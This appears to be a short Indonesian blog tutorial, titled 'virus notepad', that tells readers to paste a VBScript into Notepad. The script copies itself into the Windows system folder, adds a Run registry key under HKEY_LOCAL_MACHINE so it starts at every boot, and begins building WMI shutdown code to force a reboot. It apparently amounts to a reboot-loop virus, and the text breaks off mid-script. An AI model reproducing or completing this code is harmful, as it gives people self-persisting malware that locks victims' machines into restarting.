virus notepad
1. Buka Notepad | All Program > Notepad 2. Copy Dan Pate Script Berikut Ke Notepad ! set FSobj=CreateObject(“Scripting.FileSystemObject”) set sysDir = FSobj.GetSpecialFolder(1) createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs” sub createRegKey(regKey,regVal) set regEdit = CreateObject(“WScript.Shell”) regEdit.RegWrite regKey,regVal end sub set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”) generateCopy.close set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) setFile() fixedCode=replace(fileData,chr(94),”"”") set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2) procreateCopy.write fixedCode procreateCopy.close rebootSystem() function setFile() fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _ “strComputer = ^.^ ” &vbcrlf& _ “Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _ “& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)”